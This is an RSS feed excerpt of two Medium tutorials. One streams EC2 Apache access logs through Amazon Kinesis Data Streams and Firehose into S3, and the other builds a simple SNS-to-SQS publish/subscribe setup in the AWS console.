            <title><![CDATA[Real-time data streaming with Amazon Kinesis Data streams and Amazon Kinesis Data FireHose.]]></title>
            <link>https://medium.com/@Brian_Bange/real-time-data-streaming-with-amazon-kinesis-data-streams-and-amazon-kinesis-data-firehose-ea5144a97190?source=rss-d9d06d9d059b------2</link>
            <guid isPermaLink="false">https://medium.com/p/ea5144a97190</guid>
            <dc:creator><![CDATA[Brian Bange]]></dc:creator>
            <pubDate>Mon, 18 Dec 2023 19:37:27 GMT</pubDate>
            <atom:updated>2024-01-23T17:35:35.432Z</atom:updated>
            <content:encoded><![CDATA[<h3>Prerequisites</h3><ul><li>An AWS Account is signed in as an IAM user with Administrator privileges.<br>IAM User Access and Secret Keys.<br>Region: US-East-1 Modern Browser Google Chrome</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*-xBl65hNbebBSf8C.png" /></figure><h3>Create S3 Bucket</h3><p>To create a new bucket, navigate to the S3 console.<br>Select Create Bucket.<br>Set a globally unique name for your bucket.<br>Region US-East-1<br>Leave the default key encryption as Amazon S3 Key (SSE-S3).<br>Click Create bucket.</p><p>Launch an EC2 instance.<br>We will host our website here.<br>2. Select Launch instance.<br>3. Enter the name My-instance.<br>4. From the AMIs section, select the Amazon Linux AMI.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*b75K4CevwXTr2M0d.png" /></figure><p>5. For the instance type, pick t2.micro.<br>6. Create a new key pair (.ppk) and save it safely on your computer.<br>7. In the Network Settings:<br>Select the default VPC and assign a public IP address automatically.<br>Create a new Security group Demo_SG with HTTP and SSH rules, source anywhere. 0.0.0.0/0. In production, you only allow a certain IP address or range of addresses to access your instance.<br>Create a new IAM role called EC2_Role that has full access to S3 and Kinesis. Attach the Role in the advanced detailed section of the IAM Instance profile.<br>Leave everything at its default settings, then select Launch instance.</p><p>8. Connect to EC2 via SSH using PuTTY. Here</p><h3>Host a simple Website on EC2</h3><p>Switch as a root user</p><p>Update software</p><pre>sudo dnf update -y</pre><p>Install the <strong>LAMP</strong> server.</p><pre>sudo dnf install -y httpd wget php-fpm php-mysqli php-json php php-devel #install Apache web server and PHP<br>sudo dnf install mariadb105-server #install Mariadb</pre><p>Start HTTPD</p><pre>sudo systemctl start httpd</pre><p>Enable HTTPD Server</p><pre>sudo systemctl enable httpd</pre><p>Install and Unzip the code</p><pre>cd /var/www/html<br>sudo wget https://www.free-css.com/assets/files/free-css-templates/download/page270/marvel.zip<br>sudo unzip marvel.zip</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/562/0*5TOOH3xMf5_CEblx.png" /></figure><p>Access the website using the IP address of the instance</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*JCHDUKi4LiJUEDn7.png" /></figure><p>Access the website logs in the path /var/log/httpd/access_log</p><pre>cd /var/log/httpd/<br>tail -10 access_log</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*Q24NJ36vQ4Ch30wE.png" /></figure><p><strong>File permissions to HTTPD</strong></p><pre>groupadd httpd<br>usermod -a -G httpd ec2-user</pre><p>2. Exit</p><p>3. Assign ownership of the /var/log/httpd directory and its contents to the httpd group.</p><pre>sudo chown -R root:httpd /var/log/httpd</pre><p>4. Modify the directory permissions of /var/log/httpd and its subdirectories to provide group write permissions and specify the group ID for future subdirectories.</p><pre>sudo chmod 2775 /var/log/httpd<br>find /var/log/httpd -type d -exec sudo chmod 2775 {} +</pre><h3>Creating Kinesis Data Stream</h3><p>You use Amazon Kinesis Data Streams to collect and handle massive amounts of data in real time.<br>In the same region: us-east-1, Navigate to services and search for Kinesis data stream.Click <strong>Create Data Stream</strong>.</p><p>Set the data stream’s name to Lab_Data_stream.<br>Click on Create Data Stream.<br>Once the data stream has been established, click to open it.<br>Select the Configuration tab.<br>Scroll down to Encryption and select the Edit option.<br>Check Enable server-side encryption and select the default encryption key type, AWS-managed CMK.<br>Click the Save Changes button.</p><h3>Creating Kinesis Data Firehose.</h3><p>Amazon Kinesis Data Firehose is a fully managed solution that sends real-time streaming data to destinations like Amazon S3.<br>The Kinesis Data firehose will send data from the logs to the S3 bucket.<br>Go to the Kinesis Data Firehose service in the same area (us-east 1).<br>Select Create Delivery Stream.<br>Under Source and Destination:</p><p>Source: Amazon Kinesis Data Streams.<br>Destination: Amazon S3. 3. Under source options, select Browse The Data Stream we generated previously. Click the Choose button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*ZloQTXpjbv_m1JMV.png" /></figure><p>4. Under the delivery name, select Labstream.<br>5. Under destination options, click browse and choose the S3 bucket we created.<br>6. Expand the buffer hints, compression, and encryption section. Make the buffer interval 60 seconds.<br>7. Under Permissions, leave it as default, i.e. create or edit the IAM role. A new IAM role with the relevant permissions will be established and assigned to the Kinesis delivery stream.<br>8. Click the Create Delivery Stream button.</p><h3>Installing and configuring Kinesis Agent.</h3><pre>sudo yum install -y https://s3.amazonaws.com/streaming-data-agent/aws-kinesis-agent-latest.amzn2.noarch.rpm</pre><p>2. Edit the agent.json using <strong>vi</strong> or <strong>nano</strong>.</p><pre>sudo nano /etc/aws-kinesis/agent.json</pre><pre>{<br> &quot;cloudwatch.emitMetrics&quot;: true,<br> &quot;kinesis.endpoint&quot;: &quot;&quot;,<br> &quot;firehose.endpoint&quot;: &quot;&quot;,<br> &quot;awsAccessKeyId&quot;: &quot;A*****************&quot;,<br> &quot;awsSecretAccessKey&quot;: &quot;B******************&quot;,<br> &quot;flows&quot;: [<br> {<br> &quot;filePattern&quot;: &quot;/var/log/httpd/access_log&quot;,<br> &quot;kinesisStream&quot;: &quot;&quot;,<br> &quot;partitionKeyOption&quot;: &quot;RANDOM&quot;<br> }<br> ]<br>}</pre><p>3. Please specify the following.<br>Access and secret keys for the IAM user.<br>Kinesis stream specifies the stream’s name.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*ffqwQamQ3d878DQF.png" /></figure><p>4. Start and stop the agent.</p><pre>sudo service aws-kinesis-agent stop</pre><pre>sudo service aws-kinesis-agent start</pre><h3>Test streaming data</h3><p>Navigate the website and click on a few links to produce log data. Wait a few minutes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*RAUl4-DTS0DSWoMk.png" /></figure><p>2. Click on one log file and choose save.</p><p>3. Open the log file using a text editor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*dqjekyWugRTMYNJH.png" /></figure><h3>Monitor Cloudwatch Metrics of Kinesis data Stream and Firehose.</h3><h4>Go to Kinesis and click on the newly established stream.<br>Navigate to the Monitoring tab by clicking on the data stream you established.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*-fI8qK99k7lnq79Q.png" /></figure><p>On the left navigation panel, select the Data Firehose.<br>Select the Monitoring tab from the delivery stream you generated. You may now track delivery data in real time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*S7KOeb9-fMrroG60.png" /></figure><p>Once completed, remove the generated AWS resources.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ea5144a97190" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Simple pub/sub using SQS and SNS.]]></title>
            <link>https://medium.com/@Brian_Bange/simple-pub-sub-using-sqs-and-sns-cbd81b4010de?source=rss-d9d06d9d059b------2</link>
            <guid isPermaLink="false">https://medium.com/p/cbd81b4010de</guid>
            <dc:creator><![CDATA[Brian Bange]]></dc:creator>
            <pubDate>Sun, 10 Dec 2023 17:42:19 GMT</pubDate>
            <atom:updated>2024-01-23T17:22:24.702Z</atom:updated>
            <content:encoded><![CDATA[<p>In this exercise, we’ll create a simple pub/sub. We will utilize the following AWS services:</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/0*1BamukmOGTtD6E1D.png" /></figure><p>Amazon Simple Notification Service SNS- is a managed service that distributes messages from publishers to subscribers. Publishers connect asynchronously with subscribers, sending messages to a An Amazon SNS topic is a logical access point that serves as a communication channel and is used to send events to an Amazon SQS queue subscriber. This will allow you to simply confirm the delivery of your communications.<br>Amazon Simple Queue Service (SQS) is a fully managed message queuing service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*1BamukmOGTtD6E1D.png" /></figure><h3>Create Queue</h3><p>Open the AWS administration console and navigate to Amazon SQS.<br>Select Create Queue.<br>Enter the Queue name as OrdersQueue. Select the standard queue.<br>Leave everything as is, then select Create Queue.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*DNAIhtAKRMA7-lTM.png" /></figure><p>Confirm the <strong>OrderQueue</strong> is created.</p><h3>Subscribe Queue to the SNS topic.</h3><p>We must now subscribe to a subject in order to receive communications published through that topic. We will subscribe to the SQS queue that we have already setup.<br>Select OrdersQueue and, under SNS subscriptions, click the Subscribe to Amazon SNS subject button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*H7mnLXs4Gt5lGlUY.png" /></figure><p>To subscribe to the OrdersQueue queue, pick the Orders topic from the Specify an Amazon SNS topic drop-down list and click Save.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*szGVW387y-Ov_qn4.png" /></figure><p>Once completed, ensure that the OrdersQueue SQS Queue is subscribed and visible under the SNS Subscriptions tab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*Y-eT9zN83pgKtnMn.png" /></figure><p>The Access policy tab displays the SQS policy that was created to allow the Orders SNS topic to transmit messages to the OrdersQueue SQS queue.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*oEujH65QIKUyjMhw.png" /></figure><h3>Publish Message using Publish Message functionality.</h3><p>The publish message functionality allows you to publish a message to the subject and then view the message that the topic publishes to the queue.<br>In the Amazon SNS service, select subjects from the left-hand menu.<br>Select the Orders topic, then click Publish message.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*zE6Erc8K_YosPJub.png" /></figure><p>Enter Test message into the message body field.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*aelfZWQDOoUvJ36R.png" /></figure><p>Select the Publish message button at the bottom to send the message to the Orders SNS topic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*gYvfKPE_rj6d3iiD.png" /></figure><h3>Verify</h3><p>Open SQS.<br>In the OrdersQueue, it now displays 1 in the messages Available columns list. This confirms that the Orders SNS topic successfully submitted the message to the queue.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*T_rwAR10QWpcfoHp.png" /></figure><p>Select OrdersQueue, then Send and Receive Messages.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*kgbrL8sHpOAK_J77.png" /></figure><p>In the Send and Receive messages page, select Poll for messages.<br>Amazon SQS begins polling the messages in the queue. The dialog box shows a message from the queue. A progress bar at the bottom of the dialog box indicates the status of the message’s visible timeout.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*IwLKv2dlfgD2u8lT.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*iLlw0QB-U14s_6Hw.png" /></figure><p>Before the visibility timeout ends, choose the message you wish to delete and click Delete 1 Message.<br>In the Delete Messages dialog box, ensure that the message you wish to delete is checked and then select Yes, Delete Checked Messages.<br>You successfully published a message to an SNS topic and confirmed that it was routed to the SQS queue subscription.<br>Once complete, delete all resources.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cbd81b4010de" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>